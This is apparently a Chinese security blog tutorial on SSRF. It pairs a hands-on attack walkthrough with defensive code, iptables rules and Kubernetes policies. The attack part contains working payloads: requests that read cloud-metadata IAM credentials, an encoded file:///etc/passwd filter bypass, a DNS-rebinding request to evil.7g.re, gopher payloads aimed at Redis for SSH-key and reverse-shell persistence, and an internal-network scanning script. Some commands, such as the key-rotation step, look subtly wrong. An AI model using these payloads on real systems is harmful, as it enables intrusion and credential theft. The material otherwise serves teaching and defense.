SSRF服务端请求伪造:从攻击者视角到防御体系构建
引言
2023年,某知名云服务商因SSRF漏洞导致内部元数据服务被窃取,攻击者通过一个简单的图片处理接口获取了AWS临时凭证,最终造成数百万美元的数据泄露。这不是孤例——在OWASP Top 10中,SSRF虽未单独列项,但它在云原生架构下的危害性正呈指数级增长。

服务端请求伪造(Server-Side Request Forgery, SSRF)是一种利用服务端发起请求的漏洞。攻击者通过构造恶意输入,诱使服务器向内部网络或外部目标发起请求,从而绕过防火墙、访问内网资源或执行未授权操作。本文将带你从实战角度深入理解SSRF的攻击手法与防御策略。
核心内容:SSRF攻击实战演练
环境搭建
为安全测试,我们搭建一个包含SSRF漏洞的测试环境:
# 使用Docker部署漏洞环境
docker pull dvwa/vulnerable-web-app
docker run -d -p 8080:80 dvwa/vulnerable-web-app
# 创建模拟内网服务
docker run -d --name internal-service -p 3000:3000 node:14-alpine sh -c "
cat > /app/server.js << 'EOF'
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({secret: 'INTERNAL_FLAG_12345', host: req.headers.host}));
});
server.listen(3000, '0.0.0.0', () => console.log('Internal service running'));
EOF
node /app/server.js"
漏洞识别与利用
场景1:URL参数注入
假设存在一个图片下载功能:
// vulnerable.php
$url = $_GET['url'];
$image = file_get_contents($url);
header('Content-Type: image/jpeg');
echo $image;
攻击步骤:
- 基础探测:
# 尝试访问内网服务
curl "http://target.com/vulnerable.php?url=http://127.0.0.1:3000/"
# 响应显示内部服务返回的JSON数据,而非图片
{"secret":"INTERNAL_FLAG_12345","host":"127.0.0.1:3000"}
- 端口扫描:
# 利用响应时间判断端口状态
for port in 22 80 443 3306 6379; do
time curl -s -o /dev/null -w "%{http_code}" \
"http://target.com/vulnerable.php?url=http://127.0.0.1:$port/"
done
- 云元数据攻击(AWS环境):
# 尝试获取IAM临时凭证
curl "http://target.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 如果成功,进一步获取具体角色凭证
curl "http://target.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"
场景2:协议混淆绕过
当存在协议白名单时,攻击者可以尝试协议混淆:
# 模拟过滤逻辑
def validate_url(url):
blocked_protocols = ['file://', 'gopher://', 'dict://']
for protocol in blocked_protocols:
if url.startswith(protocol):
return False
return True
# 攻击者使用编码绕过
# 原始payload: file:///etc/passwd
# 编码后: %66%69%6c%65:///etc/passwd
curl "http://target.com/fetch?url=%66%69%6c%65:///etc/passwd"
场景3:DNS重绑定攻击
针对有域名白名单的SSRF:
# 使用7g.re服务进行DNS重绑定
# 1. 注册一个域名指向外部可控服务器
# 2. 设置TTL为0
# 3. 第一次DNS解析返回正常IP
# 4. 第二次DNS解析返回内网IP
# 攻击payload
curl "http://target.com/fetch?url=http://evil.7g.re:3000/admin"
高级利用技术
利用gopher协议攻击Redis
当目标支持gopher协议时,可以攻击内网Redis服务:
# 构造Redis命令
# 写入SSH公钥到authorized_keys
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0asshk%0d%0a$...%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# 写入crontab反弹shell
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$2%0d%0ax%0d%0a$...%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
利用SSRF进行内网横向移动
import requests
import urllib.parse
def ssrf_exploit(target_url, internal_host, port):
"""探测内网服务并尝试利用"""
# 探测存活端口
payloads = [
f"http://{internal_host}:{port}/",
f"file:///etc/passwd",
f"dict://{internal_host}:{port}/info"
]
for payload in payloads:
try:
encoded = urllib.parse.quote(payload, safe='')
resp = requests.get(f"{target_url}?url={encoded}", timeout=5)
# 分析响应特征
if resp.status_code == 200 and len(resp.text) > 100:
print(f"[+] 发现内网服务: {internal_host}:{port}")
print(f" 响应: {resp.text[:500]}")
except:
pass
# 批量扫描内网网段
for i in range(1, 255):
ssrf_exploit("http://target.com/fetch", f"192.168.1.{i}", 8080)
防御体系构建
1. 输入验证与白名单
import re
from urllib.parse import urlparse
class SSRFDefender:
def __init__(self):
self.allowed_domains = ['images.example.com', 'cdn.example.com']
self.blocked_ips = ['127.0.0.0/8', '10.0.0.0/8',
'172.16.0.0/12', '192.168.0.0/16',
'169.254.0.0/16']
def validate_url(self, url):
"""多层级URL验证"""
# 1. 协议白名单
allowed_protocols = ['http://', 'https://']
if not any(url.startswith(p) for p in allowed_protocols):
return False
# 2. 解析并验证域名
parsed = urlparse(url)
if parsed.hostname not in self.allowed_domains:
return False
# 3. DNS解析后验证IP
try:
import socket
ip = socket.gethostbyname(parsed.hostname)
if self._is_private_ip(ip):
return False
except:
return False
return True
def _is_private_ip(self, ip):
"""检查是否为内网IP"""
import ipaddress
try:
addr = ipaddress.ip_address(ip)
for network in self.blocked_ips:
if addr in ipaddress.ip_network(network):
return True
except:
return True
return False
2. 网络层防御
# iptables规则:阻断对外部内网地址的请求
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
# 使用eBPF实现更精细的控制
# 限制应用只能访问特定IP段
3. 应用层防御
# Flask应用中的SSRF防御中间件
from flask import request, abort
import requests
from urllib.parse import urlparse
@app.before_request
def ssrf_protection():
if 'url' in request.args:
target_url = request.args['url']
# 1. 禁止重定向
session = requests.Session()
session.max_redirects = 0
# 2. 超时控制
timeout = (3.05, 7) # connect, read timeout
# 3. 限制响应大小
def limit_size(response, *args, **kwargs):
if int(response.headers.get('content-length', 0)) > 1 * 1024 * 1024:
raise ValueError("Response too large")
# 4. 使用代理或专用出口
proxies = {
'http': 'http://proxy.internal:8080',
'https': 'http://proxy.internal:8080'
}
try:
resp = session.get(
target_url,
timeout=timeout,
proxies=proxies,
hooks={'response': limit_size}
)
except:
abort(403)
4. 容器化环境防御
# Kubernetes网络策略:限制Pod出站流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ssrf-protection
spec:
podSelector:
matchLabels:
app: web-app
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.0.0/16
ports:
- protocol: TCP
port: 80
- protocol: TCP
port: 443
真实案例:云环境SSRF攻击链
场景复现
某电商平台图片处理服务存在SSRF漏洞,攻击者利用以下链条完成攻击:
- 入口:图片URL参数未严格校验
- 内网探测:扫描发现内部Kubernetes API Server
- 凭证窃取:通过SSRF访问元数据服务获取ServiceAccount Token
- 横向移动:利用Token操作K8s集群,部署挖矿容器
防御措施
# Kubernetes RBAC最小权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production
name: pod-reader
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "watch", "list"]
---
# Pod安全策略
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
hostNetwork: false
hostPorts:
- min: 0
max: 0
seLinux:
rule: RunAsAny
runAsUser:
rule: MustRunAsNonRoot
总结:最佳实践清单
防御优先级
- 输入验证:所有用户提供的URL必须经过严格白名单校验
- 网络隔离:应用服务器不应有直接访问内网的能力
- 最小权限:服务账号仅授予必要权限
- 监控告警:对异常出站请求进行实时监控
安全开发检查清单
- [ ] URL解析后检查IP地址是否为内网地址
- [ ] 禁止使用
file://、gopher://等危险协议 - [ ] 设置请求超时(建议不超过5秒)
- [ ] 限制响应体大小(建议不超过1MB)
- [ ] 禁止跟随重定向
- [ ] 使用专用代理服务器发起外部请求
- [ ] 记录所有出站请求日志
应急响应步骤
当发现SSRF漏洞时:
# 1. 立即阻断漏洞入口
iptables -A INPUT -p tcp --dport 80 -j DROP
# 2. 检查受影响范围
grep "url=" /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c
# 3. 轮换所有可能泄露的凭证
aws iam rotate-access-key --access-key-id AKIAIOSFODNN7EXAMPLE
# 4. 审计内网访问记录
journalctl -u kube-apiserver | grep -E "(unauthorized|forbidden)"
SSRF漏洞的本质是信任关系的滥用——服务端盲目信任用户输入,进而信任内部网络。在云原生架构下,这种信任链的每一环都可能成为攻击者的跳板。防御SSRF没有银弹,需要从架构设计、编码规范、运行时防护多个层面构建纵深防御体系。
记住:永远不要相信用户输入,永远不要假设内网是安全的。
💻 安全运维 / Linux运维 / 渗透测试 技术支持
业务需求可联系博客作者
